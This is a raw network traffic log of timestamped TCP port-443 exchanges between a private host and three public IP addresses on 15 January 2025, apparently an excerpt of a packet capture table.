Jan 15, 2025 13:07:59.083621979 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.083630085 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.083666086 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.083674908 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.087182999 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.087271929 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.087269068 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.087306023 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.087351084 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.098953009 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.098997116 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.099039078 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.099045038 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.099200964 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.124747038 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.124789000 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.124838114 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.124845982 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.124871016 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.124886990 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.125093937 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.125163078 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.125169992 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.125195026 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.125236988 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.130050898 CET	49752	443	192.168.2.4	13.33.187.16
Jan 15, 2025 13:07:59.130075932 CET	443	49752	13.33.187.16	192.168.2.4
Jan 15, 2025 13:07:59.185317039 CET	49752	443	192.168.2.4	13.33.187.16
Jan 15, 2025 13:07:59.199110985 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.199132919 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.199222088 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.199232101 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.199431896 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.204952955 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.205045938 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.205053091 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.213752031 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.213768959 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.213857889 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.213866949 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.223581076 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.223597050 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.223680973 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.223690987 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.224611998 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.224757910 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.224765062 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.232414961 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.232481956 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.232495070 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.232533932 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.232589006 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.246167898 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.246182919 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.246272087 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.246279955 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.246352911 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.316354036 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.316369057 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.316523075 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.316531897 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.316591978 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.317276955 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.317291021 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.317332983 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.317359924 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.317368031 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.317444086 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.317444086 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.318914890 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.318929911 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.319009066 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.319015980 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.319063902 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.320525885 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.320539951 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.320612907 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.320621014 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.320663929 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.322120905 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.322134972 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.322237015 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.322243929 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.322288990 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.322612047 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.322664022 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.327893019 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.327907085 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.327970982 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.327982903 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.338280916 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.338299036 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.338493109 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.338501930 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.382004976 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.401736975 CET	443	49752	13.33.187.16	192.168.2.4
Jan 15, 2025 13:07:59.401767969 CET	443	49752	13.33.187.16	192.168.2.4
Jan 15, 2025 13:07:59.401777983 CET	443	49752	13.33.187.16	192.168.2.4
Jan 15, 2025 13:07:59.401801109 CET	443	49752	13.33.187.16	192.168.2.4
Jan 15, 2025 13:07:59.401809931 CET	443	49752	13.33.187.16	192.168.2.4
Jan 15, 2025 13:07:59.401866913 CET	443	49752	13.33.187.16	192.168.2.4
Jan 15, 2025 13:07:59.401866913 CET	49752	443	192.168.2.4	13.33.187.16
Jan 15, 2025 13:07:59.401902914 CET	49752	443	192.168.2.4	13.33.187.16
Jan 15, 2025 13:07:59.401947975 CET	49752	443	192.168.2.4	13.33.187.16
Jan 15, 2025 13:07:59.403096914 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.403110981 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.403192043 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.403201103 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.403254986 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.403477907 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.403553963 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.403563023 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.403601885 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.403662920 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.404243946 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.404258966 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.404341936 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.404347897 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.404393911 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.404851913 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.404903889 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.404937029 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.404946089 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.404961109 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.404985905 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.405421972 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.405484915 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.405493021 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.407032967 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.407047033 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.407145977 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.407154083 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.410233021 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.410252094 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.410310030 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.410317898 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.410346031 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.414833069 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.414845943 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.414937019 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.414944887 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.425313950 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.425331116 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.425410032 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.425420046 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.425477982 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.456012011 CET	49752	443	192.168.2.4	13.33.187.16
Jan 15, 2025 13:07:59.456048965 CET	443	49752	13.33.187.16	192.168.2.4
Jan 15, 2025 13:07:59.489959955 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.489981890 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.490163088 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.490185022 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.490235090 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.490283966 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.490298986 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.490345001 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.490351915 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.490386963 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.490403891 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.491518974 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.491534948 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.491605043 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.491611004 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.491655111 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.492494106 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.492510080 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.492583036 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.492590904 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.492646933 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.492646933 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.494740009 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.494755983 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.494842052 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.494851112 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.494896889 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.497169018 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.497184038 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.497256994 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.497262955 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.497304916 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.501679897 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.501701117 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.501774073 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.501780987 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.501791000 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.501822948 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.512187004 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.512202978 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.512285948 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.512295961 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.512340069 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.576776981 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.576849937 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.576867104 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.576913118 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.576934099 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.577189922 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.577203989 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.577258110 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.577267885 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.577281952 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.577796936 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.578262091 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.578277111 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.578318119 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.578340054 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.578345060 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.578357935 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.578394890 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.578427076 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.578433037 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.579463005 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.579480886 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.579534054 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.579540968 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.579581976 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.581481934 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.581521988 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.581841946 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.581855059 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.581911087 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.581917048 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.581954956 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.583097935 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.583950043 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.583964109 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.584047079 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.584053993 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.588586092 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.588603020 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.588675022 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.588682890 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.598989010 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.599001884 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.599051952 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.599061012 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.599092007 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.648571968 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.648632050 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.648633003 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.648654938 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.648680925 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.648698092 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.648704052 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.648715973 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.648750067 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.648750067 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.648758888 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.648799896 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.648799896 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.663889885 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.663921118 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.663973093 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.663980961 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.664036989 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.664036989 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.665040016 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.665057898 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.665275097 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.665291071 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.665344954 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.665489912 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.665503979 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.665610075 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.665618896 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.665720940 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.667685986 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.667705059 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.667771101 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.667773008 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.667784929 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.667855978 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.669574022 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.669588089 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.670191050 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.670198917 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.670547009 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.671619892 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.671633959 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.671690941 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.671750069 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.671750069 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.671761036 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.680541039 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.680561066 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.680628061 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.680640936 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.680655003 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.727534056 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.728462934 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.728585005 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.739599943 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.739650011 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.739685059 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.739696026 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.739742994 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.739742994 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.750410080 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.750427008 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.750488043 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.750503063 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.750519037 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.750602007 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.750613928 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.750674963 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.750741005 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.750741005 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.750751972 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.750921965 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.750936985 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.750998974 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.751007080 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.751028061 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.751811028 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.751900911 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.751909971 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.752772093 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.752784967 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.752881050 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.752881050 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.752888918 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.754417896 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.754467964 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.754532099 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.754532099 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.754539013 CET	443	49751	18.245.86.21	192.168.2.4
Jan 15, 2025 13:07:59.754579067 CET	49751	443	192.168.2.4	18.245.86.21
Jan 15, 2025 13:07:59.754688978 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.754707098 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.754806042 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.754806042 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.754815102 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.755814075 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.756042957 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.756050110 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.756537914 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.756589890 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.756618977 CET	49746	443	192.168.2.4	3.161.82.101
Jan 15, 2025 13:07:59.756628036 CET	443	49746	3.161.82.101	192.168.2.4
Jan 15, 2025 13:07:59.756643057 CET	49746	443	192.168.2.4	3.161.82.101
